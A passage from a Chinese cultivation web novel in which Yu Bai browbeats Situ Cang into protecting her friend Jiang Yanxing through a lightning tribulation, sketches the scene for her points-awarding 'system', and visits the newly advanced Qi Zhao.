余白急了:“那也不能让你一个人去啊!要不这样,我们一起去,我灵宝多,要有什么意外我可以帮你!” 她拿出芥子囊要去翻找东西,下一秒便被定住了。 雪明霜的手指凝出一道极细的冰线,就是这冰线把她给束缚住的。 “你别担心,以江师弟的实力承受区区三道天雷不是难事,我进去还不一定能派上用场呢。” 按道理说的确如此,可是——架不住这家伙幸运E啊! 女主,你不要乱来啊!你出事了我怎么办! 余白心急如焚,一道藏蓝身影掠过视野。?! “雪师姐等等!来人了!” 余白喊住雪明霜,随即扯着嗓子往不远处喊道:“司徒苍!江湖救急——” 司徒苍刚从山下回来,路过练剑台看到天象有异下意识停住了脚步,也就这么一瞬便被余白眼尖瞧见了。 他本不想搭理余白,却听她道:“你上次不是想要我那本心法吗?只要你帮我这回我就给你!” 司徒苍瞬身出现在了她面前。 “当真?” 余白看到骤然出现在眼前的俊脸,被定住的身体都给吓得能动弹了。 她脑袋往后仰了下,踉跄稳住身形。 换作以前余白肯定要骂他几句,这时情况紧急又有求于人,也就忍了。 “真的,反正那东西放我这里也没用,其他人除了齐师兄也没人有那悟性能领悟,你帮我去给江……就是剑台那个新入门的弟子护法,让他平安度过雷劫我就给你。” 怕司徒苍不信,余白先把心法掏出来给他看。 司徒苍目光落在那本心法上,用神识探查了下发现的确是余秋离之物后这才慢悠悠道:“就是齐昭引荐的那个弟子?” 余白一下子警觉:“你问这个干什么?是不是很重要吗?你别告诉我我说是你就不帮他护法了,司徒苍,你和齐师兄不对付是你们的事,人江小白是无辜的,你可不能见死不救!” 司徒苍耐着心听她指责完,薄红的嘴唇扯出一个刻薄的弧度。 “你还真是一点没变,张口闭口还是你的齐师兄。” 忍住忍住,现在就他一个能帮江小白护法,再如何也要忍住。 余白深吸一口气,皮笑肉不笑道:“原来你在意这个啊,这有什么,我也可以叫你师兄呀。司徒师兄,苍师兄,你行行好帮帮江师弟吧,他没准以后还会拜入谢前辈门下,和你师出同门呢。” 司徒苍皱眉:“你说什么?” “司徒师兄?” “不是这个,你说他要拜我师尊为师?” 余白见他神色骤沉,不知道自己哪里说错话了。 司徒苍这厮脾气实在古怪,喜怒无常,阴晴不定,她又是个说话不大过脑子的,这一年来没少因为说错话得罪对方。 这次他又是因为什么生气? 是江小白要拜谢斩为师的事情?不可能,司徒苍和谢斩这对师徒之间的见面次数堪比牛郎织女鹊桥相会。 谢斩平时不是在外云游就是在杀魔杀妖的路上,对司徒苍完全散养,顶多每年回来给他喂喂招,教导他一些刀术心法,也不管他能不能领悟,囫囵教完就走。 而司徒苍也是个心高气傲的,搞不懂的地方就死磕,死练,只要谢斩不问,他便死活不说。 也是司徒苍天赋好,不然换其他人这样练早出岔子了。 所以司徒苍因为自家师尊有新徒弟不满,嫉妒了?鬼都不信。 余白想不通就不想了,催促道:“司徒师兄,你帮帮他吧,就算日后你们没缘成为师兄弟,但好歹也是同门。而且你也不是白忙活,这本心法,还有这颗留影石我也给你,里面有我老祖宗的剑影,这总该够了吧?” 司徒苍刀剑双修,对余秋离也很仰慕,因此余白拿出这些已经很有诚意了。 司徒苍没去看她手上的东西,而是眉目凝重去看天上的劫云。 他的修为比齐昭高,上半年就突破到了金丹,当时系统知道的时候气炸了,嚷嚷着这不合理,哪有配角比主角升级还快的? 但余白并不觉得意外,抛去主角配角来看,比起齐昭,司徒苍更适合修剑修刀。 齐昭太温柔了,他的剑太慈悲,剑是杀器,是需要靠血淬炼的,可他的剑下很少走生魂,司徒苍却不一样,他的刀遇神杀神,遇佛杀佛,不见血是不会收的。 这就跟打游戏刷经验一样,差不离的天赋,谁刷的经验多谁升级就越快。 雪明霜此时折返回来了,翻涌的劫云浓如墨色,把她一身白衣都给显得灰扑扑的。 “司徒师弟。” 司徒苍还在看天,能和齐昭一较高下的配角自然也有独特的天赋,司徒苍的天赋便是“天眼”。 如果说齐昭的先天道体是可以勘破和修行三千道法,那司徒苍的天眼则能勘破气运天机。 不过勘破程度和修为成正比,以司徒苍目前的修为只能勘破金丹以下修士的气运和天机。 江厌星刚好卡在他能看到的临界点。 司徒苍望着天色,脸上一阵青一阵白一阵黑,比余白用的颜料盘还要丰富。 “齐昭是脑子进水了吗?引荐了这么个祸害进宗门!” 雪明霜在得知江厌星是天缺后也有些担忧,可这不代表她真的把对方当成了个烫手山芋。 他给她们带来了司徒乾那个麻烦是真,救了他们也是真,日后如何她不知道,但至少目前少年没有给任何人带来灾厄。 她正色道:“司徒师弟,江师弟如今已入了宗门,是不是祸害都不能改变他是我们同门这一点,我们不可见死不救。” 余白也觉察事态不妙,劝说道:“是啊,要是真袖手旁观咱们和那些邪魔歪道有何区别?修行修行,修身更修心,司徒师兄,切莫为了一点偏见乱了自身道心啊。” 司徒苍就说了一句,这对师姐妹就一通谴责加道德绑架。 他的五官俊朗,却有些凶相,平时面无表情的时候看着就是一张臭脸,现在沉下来更是吓人。 余白吓得往雪明霜身后缩,探头弱弱反驳:“本来就是嘛,我哪里说错了?我这也是为你好啊司徒师兄……” “闭嘴。” 司徒苍忍无可忍,咬牙切齿道:“谁是你师兄?” 余白一噎,论入门时间司徒苍和齐昭都要比她晚几个月,只是她唤齐昭师弟的时候对方说她年岁轻,入道也没有他早,或许唤他师兄更合适,余白也就那样唤了。 于是她下意识按照这套逻辑称呼司徒苍,结果对方却十分排斥。 不过也能理解,从对方的角度来看自己入门比他更早却要唤他师兄,哪怕她比他要小一两岁,却也有老牛吃嫩草的嫌疑。 余白改口,试探唤道:“那司徒师弟?” 司徒苍听后露出比听到她叫他师兄还要恶心百倍的表情。 余白恼羞成怒,这家伙怎么回事!叫师兄不行师弟也不行?!玩她呢! 她也懒得跟他纠结称呼上的问题了,眼看着天雷就要落下,司徒苍却还是黑着脸抱着手臂一动不动像王八。 余白板着脸,语气威胁:“你去不去?你要是不去的话无论是心法还是留影石我都不给你了!我都拿去给齐师兄!” 司徒苍气笑了,喉间溢出一声气音。 “你拿给他的东西还少吗?也没看修为超过我啊。还有,我明确告诉你,我不去,渡劫本是自身命数,他是死是活与我何干?相反,我帮了他才是牵连因果,助纣为虐。” 他神情沉郁,言语阴冷:“这种祸害死了最好,不然害人害己。” “好,你不帮是吧。” 余白取出青鸢逐月扇,用力把人一扇。 “走你!” 我是谁,我在哪里,刚才又发生了什么? 这是司徒苍被余白一扇子扇飞进练剑台的时候脑子里冒出的三个问题。 他如何也想不到自己堂堂金丹竟然有朝一日会被一个练气初期给扇飞,哪怕她用了灵宝,哪怕他对对方没设防才着了道,但这都改变不了自己被余白这个废物点心给暗算了的事实! 更让司徒苍难以忍受的是她后脚也跟着进来了,甚至还凶里凶气威胁他:“你今天要也得要,不要也得要,你要是离开这里一步我就把你扇回来!你试试看,我说到做到!真是敬酒不吃吃罚酒,给你脸了?” 27 第二十七章 司徒苍自十岁那年开了天眼后,不说料事如神,也算算无遗漏,这还是他头一次吃了这么大暗亏。 换作旁人敢这样算计他,他早一刀砍死了,偏偏这人是余白。 他死死盯着余白,如果眼神可以杀人的话,她可能已经死了千百回了。 但余白不怕,因为她有江小白这个最强路人甲。 余白理不直气也壮道:“咱们本来不用闹到这一步的,是你逼我的。” 话音刚落,“刷”的一声,寒芒骤出,司徒苍拔出了灵刀。 余白以为她要动手,赶忙跳到江厌星身后。 “交,交给你了,我是为了你才得罪他的,你可要保护好我。” 江厌星没动,因为他并没有感受到杀气。 果然,司徒苍只是故意吓唬余白,他看着跟个兔子似的躲在少年后面的少女冷哼了声,然后席地而坐。 “赶紧滚去渡劫。” 这是同意了? 余白眨了眨眼,江厌星往劫云底下走去。 少年走了,这里最安全的地方就是司徒苍身边,余白尴尬地挪到他身旁坐下。 司徒苍对她寻求自己庇护的行为睁一只眼闭一只眼,从她跟着他进入练剑台的时候就走不了了,她靠近江厌星会被天雷波及,只有乖乖待在他身边。 余白忌惮着天雷,又忌惮司徒苍,怕他拿刀砍她。 于是她并没有离得太近,和他保持了一定的安全距离,手上死死捏着青鸢逐月扇,紧绷神经,一副随时准备攻击的姿态。 司徒苍无语了。 他有时候不知道余白这家伙到底是胆大还是胆小,既然那么怕他还敢暗算他? 他虽然生气,但不至于那么小心眼。 司徒苍将目光从如临大敌的余白身上越过,落到劫云之下的江厌星身上。 他的眼睛和别人不同,看到的万物也不同。 别人看万物是看山是山,看水是水,他看万物是看天地灵气,日精月华和浊气戾气,杀气怨气。 抛去表面和红粉骷髅后世间组成的本质。 所以在看到江厌星的第一眼,司徒苍眼前就是一团诡谲凝重的黑雾,那是他的气运。 就像余白的道途,看不到未来。 太差了,这世上竟然有人气运比谢斩那家伙还要差。 谢斩气运差那是他杀人放火应得的,江厌星这种年纪轻轻就印堂发黑的倒霉蛋则是天生命格使然。 命中带煞,天道不容。 这种人的命数也很极端,要么万劫不复,要么得道飞升,后者的几率比前者要低得多。 至少在天生灵气,修者入道至今的数万年岁月里,他印象里没几个天缺成功逆天改命的。 其二,这家伙不光气运差得离谱,还样貌有异。 既已入了天极宗却还要隐瞒真容,可见他身上必然招惹了可能连天极宗都不好解决的麻烦和仇家。 所以司徒苍说他是祸害一点都没冤枉他。 祸害江厌星正在等雷落。 修者渡雷劫就两个办法,身承或身避,简单来说要么硬刚要么躲避。 可雷落的速度世上几人能避?因此百分之九十九的修者渡劫都是身承。 不过真正纯粹用身体来抗的也就体修,其他修者多少会准备灵宝灵丹用以抵挡和回复灵力和体力的。 司徒苍想到这里看了一眼旁边的余白。 “你看什么?我警告你,别想着跑路。” 司徒苍:“……” “有我护法,他不可能渡劫失败。” 这是在直接告诉她他不会走了。 余白不知道怎么接话,于是憋了句:“那你好厉害哦。” 司徒苍嘴角抽搐了下,干脆单刀直入问道:“这人你们是从哪儿捡回来的?他叫什么名字,年纪几何?出自何地?这些你可知晓?” 他的直觉一向很准,先前只是用天眼看,如今置身于江厌星的劫云里司徒苍感官更差。 余白:“……” 搁这儿查户口呢你。 不过这些都不是什么不能说的,余白一一回答了。 “他叫江小白,沧州人士,十六岁。我们是在凤梧秘境遇到他的。” 司徒苍边听余白说,便在掐算,一一进行核对。 最后得出的结果把他给气笑了。 除了在秘境遇到他这一点之外,其他竟全是假的。 不祥还不详,这种人宗主不光让他入了宗门,还打算让他拜谢斩为师? 他们师徒是什么很贱的人吗? 司徒苍冷笑擦刀,雪色的刀面映照着他杀气腾腾的眉眼,余白缩了缩脖子,又默默往旁边挪了一分。”轰隆”。 第一道雷落了。 和齐昭渡劫时候的干脆利落不一样,江厌星的天雷虚晃了好几枪,在以为只打雷不下雨的时候猝不及防落下来了。 余白顾不上司徒苍会不会拿刀砍自己了,狗命重要,欻的一下躲在他后面。 然后让系统给她直播江厌星渡劫过程。 屏幕中少年道袍被雷火燎破了几道,头发也略显凌乱,他站在劫云下不容如山,没有动摇分毫。 又虚晃了好几次过后,第二道雷落下来了。 江厌星肩头被劈出一道伤口,殷红的血一下子将上半身浸染。 余白看着都疼,但他除却胸膛起伏大了点外,连哼都没有哼一声。 和雪明霜说的一样,金丹雷劫对江厌星而言并不困难。 她松了口气,屏息等待第三道,也是最后一道天雷。 天雷一道比一道强,这一道尤其。 雷云滚滚,紫电白光,宛若一把神兵从九天落下。 但不是斩天,劈山,断海,只是对付一个渺小如尘的少年。 司徒苍感知到了什么神情一凝,江厌星的脸色也变了。 这一道天雷不是金丹范围的雷劫! 虽没有达到元婴雷劫的威力,却也不容小觑! 啧,果然他就不该趟这趟浑水。 司徒苍用刀气给余白划上结界,然后踏空而上。 藏青色的衣袍在风云里翻飞,那把雪色的灵刀用力挥斩,周围浓郁如墨的劫云被涤荡开来。 他干涉不了雷劫,只是在尽可能不让天雷波及到外人,同时帮江厌星将被天雷劈散的灵力聚集,供他吸收恢复。 江厌星脸色苍白,灵力却还算充盈。 他不敢掉以轻心,手腕一动,第一流从袖中而出。 刀斩劫云,剑劈天雷。 余白瞳孔一缩,惊得手中的青鸢逐月扇都掉了。 他,他他他竟然迎上去了! 没等雷落,他自己迎上去了! 一人一统目瞪口呆地望着江厌星执剑而上的画面,天地浩然,一人一剑,一时之间她看过的所有小说电视剧这一幕比都弱爆了。 余白兴奋的肾上腺素飙升,掏出画本刷刷就是画! 将一切尽收眼底的司徒苍一趔趄,拿刀的手都差点儿不稳。 一个以身迎雷,一个劫中作画。 “疯子!” 两个疯子。 司徒苍咒骂了声,在少年迎上天雷的刹那,大喝,将剩下的一点劫云劈开。 云散,雷寂。 天光乍破。 江厌星仰头,如迎天雷一样迎着天光。 柔和温暖的光辉轻轻抚摸着他的面庞,点亮黑瞳,镀上金身。 他笑了,那张普通的脸被照得如玉如珠,好看得让人移不开眼。 江厌星回头和脸色铁青的司徒苍对视,缓缓勾唇,露出一个张扬到近乎狂妄的笑来。 “哈,疯? 师兄,这叫与天斗,其乐无穷!” 28 第二十八章 一个字,狂,两个字,好狂。 三个字,狂爆了! 这一瞬间,系统心中的天平头一次从齐昭往江厌星那边动摇了。 还是那句话——一个路人甲怎么能这么帅? 以前系统看到余白鬼画桃符只会觉得辣眼睛,现在,它竟然还真的从她的画上咂摸出了几分感觉。 【那道白柱子是天雷吧,下面那团就是江小白对不对?】 【对……等等,你看出来了?】 要知道她的画可是很高深的,除了齐昭目前还真没人看得出她在画什么,尤其是系统这个没有任何艺术鉴赏细胞的人机。 但是今天,它竟然看懂了! 余白惊了,系统也惊了。 它看出来了?不,不是看出来的,应该是猜出来的。 但是能猜到已经很恐怖了。 它不会是中病毒了吧? 余白不知道系统在想什么,美滋滋道:【不错不错,你跟我待久了审美也提高了,很好,继续保持。我期待有朝一日你不光能鉴赏,还能画出和我一样精妙绝伦的大作的一天。】 系统:【……】 不,它希望永远都不会有那么一天。 系统怀疑统生,系统自闭,系统没忍住又看了一眼。 好丑,好怪。 再看一眼。 说好的只是一眼,等到系统反应过来后它已经看完少女绘画全程了。 余白手腕一动,灵笔一带,收! “大功告成!” 她吐出一口浊气,看着自己这副灵感爆棚手感极佳的大作。 正思索着在《路人甲也有春天之破劫图》和《路人甲崛起之路之破劫图》中选择哪个来命名自己的大作的时候,便听到了江厌星的狂妄至极的那句话。 余白眼睛一亮,拿起笔洋洋洒洒写下画名—— 《与天斗,其乐无穷!》 写完后心情还久久沉浸在少年迎雷破劫的震撼中久久不能平静。 余白对这个半路杀出来的路人甲少年印象很好,一见如故,性格什么的也十分合得来,所以她把他与其定位为同门,更多定位在朋友上。 但现在,仅此一遭,余白对他又有了新的定位。 什么同门,什么朋友?no!都不是吧!他合该是她的灵感缪斯啊! 自从遇到了江小白,她腰不酸腿不疼了,灵感源源不断,一口气画十张都不费劲儿! 而且积分也翻倍了! 谁说这豆角老……呸!谁说这路人甲不好的?这路人甲太棒了! 霉运缠身?天煞孤星?反正至少余白和他认识以来虽然也是遇到了点麻烦,但利是远远大于弊的。 齐昭这个主角一定都不按照剧本走剧情,导致她好多名场面都没办法打卡,积分难赚,回家之路遥遥无期,可现在有了江小白这个主角代餐,她感觉日子总算是有了点盼头了。 呜呜江小白,我不准任何人忤逆你!我要和你世界第一最最好! 余白等到天象彻底平息下来,一个滑铲上前到江厌星身边把人扶住。 “你还好吧,疼不疼?我这里有止疼药还有疗伤药,你想先吃哪个?或者一起吃?” 她将几瓶丹药一股脑塞给他,态度殷勤得让江厌星很不适应。 他眯了眯眼睛,用看陌生人一样的眼神看她。 余白装糊涂,歪头:“怎么了呀?” 还呀。 无事献殷勤,非奸即盗。这家伙肯定在打他什么主意。 而且和她打齐昭的主意差不离。 江厌星在之前就觉得余白有秘密,这个秘密大概率在齐昭身上,她想要从对方身上谋求什么。 她不喜欢对方却十分讨好殷勤这是其一,其二是她是个怕疼又惜命的咸鱼,以前学校组织体检的时候她抽个血都疼得啪嗒啪嗒掉小珍珠。 结果她在秘境的时候为了救大家,竟然不惜以身抗天雷——当然,他不是说余白会心安理得躲在他们身后或者趁机逃走苟命,她虽然胆小怕事,实际上是个很讲义气的人。 只是比起同归于尽,以她的性子她估计会在大家无力回天的时候吱哇乱叫的一通乱扔法宝符箓,在实在没辙的时候害怕得鬼哭狼嚎,大喊着和司徒乾拼了,最后才会做出那样极端的选择来救人,而不是一开始就冲过去把人死死固定着等雷来劈。 这只有一个可能,她怕死,更怕齐昭死。 她把齐昭的安危放在了自己安危之前,在当时看到对方撑不住的时候方寸大乱,脑子乱成一团浆糊,只想要护住对方,身体比脑子更快地动了。 她死或许还有一线生机,毕竟她老祖宗是大名鼎鼎的余秋离,身上必然留给了她保命的手段,倘若齐昭死了她才是真完了。 这是江厌星的推测,不然他想不明白余白为什么要那么做。 可,齐昭死了为什么余白也活不了了? 难道他们两人身上缔结了什么同生契吗?一人死另一个人也不能独活? 这也不合逻辑,若是真的种了这种契约,余白更不敢采取同归于尽的方式才对。 况且结这种同生契的不是死敌就是道侣,这两个就是普通师兄妹,怎么可能结这种引人遐想的契约? 倒是还有一个猜测,余白真恋爱脑喜欢上了齐昭……但他试探过了,别说喜欢了,她估计都还没在男女之事上开窍呢。 所以江厌星一直不明白余白到底想要从齐昭身上谋求什么,有什么东西是她老祖宗都给不了的,甚至比她的命还要重要? 在他绞尽脑汁没理出个头绪的时候,余白又突然对他“移情”了。 她的演技太过拙劣,什么情绪都写在脸上。 江厌星想不知道都难—— 她把他当齐昭代餐了。 意识到这一点后江厌星一方面很生气,他江厌星就是江厌星,只可独一无二不可作他人替身,就算代餐也该是齐昭是他的代餐,这简直倒反天罡! 但另一方面他又有点,怎么说呢……松了口气。 主角又如何,这么容易就被替代了,看来齐昭对她也没那么重要嘛。 “小白师弟?” 江厌星冷哼了声,拿起丹药就往嘴里倒。 余白莫名,这家伙又在生什么气?他属河豚吗? 她等他把丹药吃完,拽着他过去给司徒苍道谢。 “这次谢谢你呀,司徒师……呃,司徒苍。” 少年凌厉的眼刀扫来,余白赶紧改口。 她又推了把江厌星,江厌星虽不大喜欢司徒苍,但人帮了自己,他还是客客气气的朝着对方行了一个剑礼。 “多谢师兄今日护法,虽然就算你不护法我也不会有事,但这份恩情我记下了,日后若有用得上我的地方尽管开口,我绝不推辞。” 余白:“……” 大哥你可以不用加中间那句的,看看,人脸都黑了。 她看到司徒苍又在摸刀了,忙给少年找补:“他心直口快,你千万别多想。他绝对没有不需要你帮助看不起你的意思。” 司徒苍咬肌微动,额头青筋一跳一跳的。 眼前这两个一个天缺煞星,一个命中克他,他也是道心坚固,换作其他人早就要给气得气血逆流了。 不过他也快了。 偏偏他们一个没情商一个没智商,丝毫没觉得自己说的话有什么问题。 更让司徒苍恼火的是他这双眼睛能辨真伪,在反复确认他们是真的有口无心后更憋屈了。 今日他出门该掐算一番的,不然也不会如此闹心。 余白给江厌星使眼色。 ——他咋了? ——我怎么知道? 余白搞不清楚司徒苍怎么道谢了生气,道歉了还生气。 哎,男人心,海底针,她们大女人就没那么多弯弯绕绕。 余白叹了口气,将留影石和心法递给他。 “给,今日之事事出从急,多有得罪,以后我不会再强迫你了。” 司徒苍盯着她手上的东西,神情纠结,一方面他不想和余白扯上关系,也不想拿她的东西,之前他在余白给大家展示剑法的时候停留多看了那么一眼,当天回去就灵力堵塞了。 可他的确很需要这本心法。 谢斩那老家伙只教刀法不授心法,倒不是他不授,是他入道几百年来从没有学过什么心法,他生来就有一颗无垢道心,当年十万恶鬼都没乱他手中刀分毫。 司徒苍和他截然相反,他这双天眼看得太多也太透,苍生迷眼乱心,若不修心法很容易出岔子。 余白看他久久没动作以为是嫌少了,但她也舍不得再拿了。 于是她朝江厌星伸手。 江厌星一顿,手点了点芥子囊,给她暗示。 他不是小气不想拿东西答谢司徒苍,是这里头有司徒乾的东西,个别认他为主的灵宝还沾染着他未散的气息和神识,要是打开很容易被司徒苍发现。 余白自然也知道这点,但她不是要让他拿这些。 “把我之前那本剑谱给我。” 她说的是先前在秘境时候余白给他的那本余秋离的剑谱。 内容他都看过了,江厌星没任何犹豫从袖中取出递给余白。 加上这本剑谱,怎么着也够了吧。 司徒苍天人交战了许久,最后还是收下了余白的东西,不过他只拿了那本心法。 在取走心法后他脸上的表情更丰富了,有没有忍受住诱惑而堕落的懊恼,自暴自弃,还有恼羞成怒。 “你们两个以后离我要多远有多远,少来碍我的眼!” 放完这句狠话后他便甩袖离去了。 余白知道他不喜欢自己,看他这副避之不及的样子还是大受打击。 她指着自己,难以置信问江厌星:“我有那么讨人厌吗?” 江厌星皱眉:“遇事多质疑别人,少内耗。” 言下之意就是说她不讨厌了。 余白这才好受些,还有点感动,道:“就是,我都没嫌司徒苍那张死爹脸吓人呢,他还嫌弃上我了。还是小白师弟你好,人普心善。” 江厌星:“……” 收回前话,这傻白甜说话有时候的确挺气人的。 雪明霜过来把余白转着圈查看了好几次,见她安然无恙后才放下心来,只是她的脸色有些难看,冷若冰霜的神情再一次出现,可仔细看她的眼里是难以掩饰的担忧与后怕。 “余白,你太胡来了。” 余白也没为自己辩解,轻轻晃着雪明霜的手,软着声音撒娇:“雪师姐我知道错了,下次绝对不会再犯了,你就原谅我这回吧,好不好?好不好嘛。” 她和雪明霜也就这次秘境才真正有了交集,此前也就是点头之交,但在这段时日的相处中也足够让余白了解对方是个怎样的人了。 面冷心热,人美心善。 别看齐昭一副温润如玉,和和气气的样子,实际上他反而不大好说话。 他骨子里是比较强势的,只是外表太迷惑人。 雪明霜则是和他完全相反的性格,她看着高冷,实际上心肠软着呢。 只要发发嗲,撒撒娇,她很快就会消气的—— 嗯? 怎么她脸色一点儿都没缓和,还更冷了? 雪明霜抽回手臂,白玉细腻的肌肤因为愠色染上一层浅而淡的薄红。 她一脸严肃看着余白,余白歪斜着想往对方身上靠的身子也不自觉站直。 雪明霜冷着声线道:“之前在秘境的时候你就差点九死一生你知道吗?这次又是天雷,还是天雷!当时你能活下来只是侥幸,若不是江师弟赶过去把你护在身下你早就被天雷劈得身消道陨了,这次你又……” 她声音有点抖,想起之前那一幕不光是她,齐昭更是脸色煞白,险些道心碎裂,跌回筑基。 雪明霜咬着嘴唇,语气冷硬对余白道:“不是下次不会再犯,是决不能再有下次了,懂了吗?” 余白怔然,在雪明霜颇有压迫的视线下略显僵硬地点了点头。 然后空气沉默了。 余白偷偷抬眼看了雪明霜几次,雪明霜刻意往别处看,就是不再看她。 余白觉察到她气还没消,不敢这时候凑上去,又去看旁边的江厌星。 原来当时不是她的幻觉或是做梦,对方真的在她被雷劈了的时候冲过来了。 余白有些感动地看着他,看着看着眼神不自觉带了点求助的意味。 29 第二十九章 余白一边带路一边介绍玄霄布置的各种阵法,有的避雷,有的倒是可以进去体验或修炼一番。 雪明霜虽有些寡言,但却是一个很擅长倾听的人,尤其是余白说的绘声绘色,颇有趣味。 而江厌星不光听还会时不时问几句,一个捧哏一个逗哏,聊的有来有回。 原本枯燥冗长的一条路也没那么无趣了。 等到余白他们走到云阙殿的时候她口舌也差不多干了,拿了瓶灵泉往嘴里倒,也给江厌星扔了一瓶。 江厌星也没说太多话,不怎么渴,就喝了一口,吐槽道:“你这个芥子囊里有灵宝丹药也就算了,怎么还装了灵泉?” 芥子囊也是个法器,哪怕是低品的也不便宜,且空间也有限,寻常修士为了节省空间只会捡重要的东西往里面塞,哪有像余白这样什么都装的? 余白道:“这有什么,我芥子囊多的是,不提买的,光肖师兄给我炼了好几个,这个装满了换下一个就是了。况且我这个芥子囊是老祖宗给我炼制的,叫什么太虚种玉囊,不光大得可以塞下整个宗门,还能在里头种灵植养灵兽呢,只是我修为有限,目前就只能拿它装东西了。” 说到这个余白就叹了口气:“哎,哪怕是装东西也不知道猴年马月能装满呢。” 江厌星:“……” 雪明霜:“……” 真是甜蜜的苦恼呢。 而且能种灵植放活物的芥子囊,那品阶得有多高?都快近神品了吧。 这种品阶即使是离光境的肖扶山也难以炼制,不,是就没几个器修能炼制,世人都知余秋离剑无双,算一绝,不曾想就连在炼器一道也有如此造诣。 江厌星在得知自己穿成了齐昭的对照组的时候,对齐昭的天道眷顾,机缘不断,嫉妒不至于,就是单纯被拉踩的不爽,以及被天道区别对待的愤怒。 可现在,他是真的酸了。 早知道他就不多嘴吐槽那么一句了。 雪明霜对此不柠檬,也不羡慕,只是惊讶在外人口中高高在上,望尘莫及的余剑尊竟然如此宠爱小辈,给灵宝什么也就算了,还为她亲手炼制,这样看来修真界那些余剑尊冷漠可怕,不近人情的传言应该当不了真。 江厌星眼热,没忍住又看了眼她的那个芥子囊。 先前他就觉得她这个芥子囊看着灰扑扑的品阶一般的样子怎么那么能装,此时仔细查看才发现这是用了点障眼法,不想余白太钱财外露,招惹麻烦。 这让他越发好奇这个太虚玉种囊长什么样子了。 余白前脚吨吨吨把灵泉喝完,后脚去通报的童子就出来回话了。 “三位师姐师弟,齐师兄说让你们直接进去就好。” 这次也是余白走到前面带路。 江厌星看着余白轻车熟路在一众弟子房里找到了齐昭所在的最里朝东的云梦居,抿了下嘴唇。 他有些不舒服,但又说不上因为什么。 大约是余白明明是他的朋友兼同桌,而且他们还是同乡人,他们是这个世界上彼此唯一特殊的存在,齐昭算什么?一个纸片人罢了,她这才穿来多久就跟人好到可以随意串门了? 呵,还说要和他天下第一最最好呢,喜新厌旧的女人。 “齐师兄,我们来看你了!” 齐昭让他们直接进,余白也就直接推门了。 齐昭在他们进入云梦居的时候就觉察到了,刚起身要去迎,余白就先一步跨门而入了。 他先查看了下,看余白生龙活虎的样子这才微笑回道:“师妹,你来了。” 又对身后的雪明霜和江厌星微微颔首。 “雪师姐,江师弟。” 江厌星拜入宗门的事情齐昭在醒来第一时间就从他师尊那里得知了。 江厌星调整了下臭脸,不咸不淡打招呼,然后道:“对了,我能继续叫你名字吗?一时之间身份转变我不大适应,暂时改不了口。” 余白一脸狐疑,不适应?他唤雪明霜师姐的时候不是挺顺口的吗? 不过他倒是没怎么唤她师姐,就她生气的时候唤了次,也不真诚,更像是调侃,平时就是你啊你的或者指名道姓,一点都没有“上下尊卑”。 余白也没去拆对方的台。 齐昭温声道:“自然可以,名字本身就是给人唤的。” 齐昭这样回答余白并不意外,可听后还是忍不住感慨他的好脾气。 这事也就放在他这里能这样轻易接受,放别的师兄身上,指不定要勃然大怒给少年安上一个目中无人,傲慢无礼的帽子。 所以这样的性子怎么会是一本傲天流的主角呢?甚至在女频文里他也只能当个温柔男二,都排不上男主。 搞不明白是书有问题,还是齐昭OOC了。 齐昭又是强行突破又是被反噬,还在司徒乾的阵法里受了重伤,后头更是撑着一口气在雪明霜灵力耗尽无法动弹,江厌星和余白被天雷劈得昏死过去的情况下,拼着最后一点气力使用了空间术法把人传送回了宗门。 他的伤比江厌星也就轻那么一点儿,却也差不离。 只在短短四五天的时间就能下地了,这恢复速度已经十分恐怖了,可比起江厌星这个怪物的自愈能力还是差上一截儿。 本身在得知对方第二天就醒了齐昭就很震惊了,此时他感知到江厌星周身的气息变化愕然睁大眼睛。 “江师弟,你突破了?” 江厌星刚突破气息不稳,灵力也有所外溢,哪怕换了身干净衣服,收敛了修为也还是容易被看出。 况且他也没想过遮掩。 他拍了拍身上不存在的灰尘,淡淡回道:“啊,来看你的途中顺便突破的。” 江厌星嘴上说得这么云淡风轻,实际上心里还是有些小得意的。 可很快的,他就得意不起来了。 因为他听到雪明霜说道:“你不也突破了吗?”?! 江厌星和余白同时看向齐昭,前者扭曲,后者惊喜,说的话也异口同声。 “你突破到元婴了?!” “师兄,你突破到元婴啦?!” 齐昭一愣,随即哭笑不得道:“你们也太看得起我了,我才从筑基到金丹几天,怎么可能突破到元婴?” 雪明霜也觉得奇怪,这两人的语气听上去一点都不惊讶,好像觉得齐昭突破到元婴是一件虽困难却十分正常的事情。 她承认齐昭是天赋异禀,又得气运眷顾,可连进阶两个大境界,哪怕是余剑尊也不可能做到。 齐昭也看出来了这点,错愕后脸上笑容加深了一分:“没想到在师弟师妹眼中我这么厉害。” 一旁的余白若有所思看着江厌星,然后不知想到了什么,露出一个了然的微笑。 江厌星:“……” 有时候太了解这个傻白甜也不是件好事,譬如现在他就一眼看出她脸上写着——“原来你小子竟是主角粉”这几个字。 他皮笑肉不笑道:“所以你到底突破到什么修为了?” 齐昭道:“金丹中期。” 齐昭不是一个多话的人,只是江厌星似乎有些在意他突破的事情,余白也激动地追问他如何做到的,他这才接着说下去。 “我的二次突破没什么好值得说的,其实我自己也云里雾里,在我醒来后没多久就突破了,我也不知契机因何。” 余白兴奋地“哇”了一声。 系统也高兴的在在余白脑海中放电子烟花庆祝。 太好了,五百年了,我男主终于支棱起来了! 不知道怎么突破的就对了?你可是主角!主角就应该这样日天日地,不讲道理! 就是这个味!这才是我要的大男主! 同时系统又有点埋怨齐昭。 你不是能行能装能开挂吗?早点这么支棱起来还有江小白那个代餐什么事? 虽然齐昭现在隐隐有大男主的趋势了,可余白也没放弃薅江小白的羊毛,她可不是系统那种眼皮浅的主角毒唯,什么正餐代餐,主角路人甲,只要能给她打卡赚积分的都是好猫。 她打算双管齐下,轮着薅。 余白啪啪鼓掌:“太好了,恭喜恭喜!天极宗有你们两位少年英才,未来重登第一宗指日可待!” 然后她掏出画笔,清了清嗓子,用夸张的咏叹调道:“今天,我们之所以欢聚在这里,就是为了庆祝我的好朋友江小白,还有我的好师兄齐师兄突破之喜!” “所以,让我为你们作画一幅作为贺礼吧。” 主角每次突破都是名场面,都需要打卡。 现在两个一起打卡,也不知道能赚多少积分。 余白双手合十拜托。 “求求你们让画吧。我入的是画道,你们也不想我压抑本心,影响修行吧。” 齐昭早就习惯了余白这种不定时画瘾大发的情况,也很配合,就是不知道江师弟…… 江厌星臭着一张脸,为齐昭睡一觉就突破了而破防,又为余白的区别对待而不爽。 他突破的时候怎么没见她这么高兴,也没个祝贺,到齐昭这儿还要作画隆重庆祝了? 余白见他神色阴沉,以为他是不愿意,心下遗憾不能赚双倍积分了,却也不勉强。 “小白师弟要是不想的话……” “画吧。” 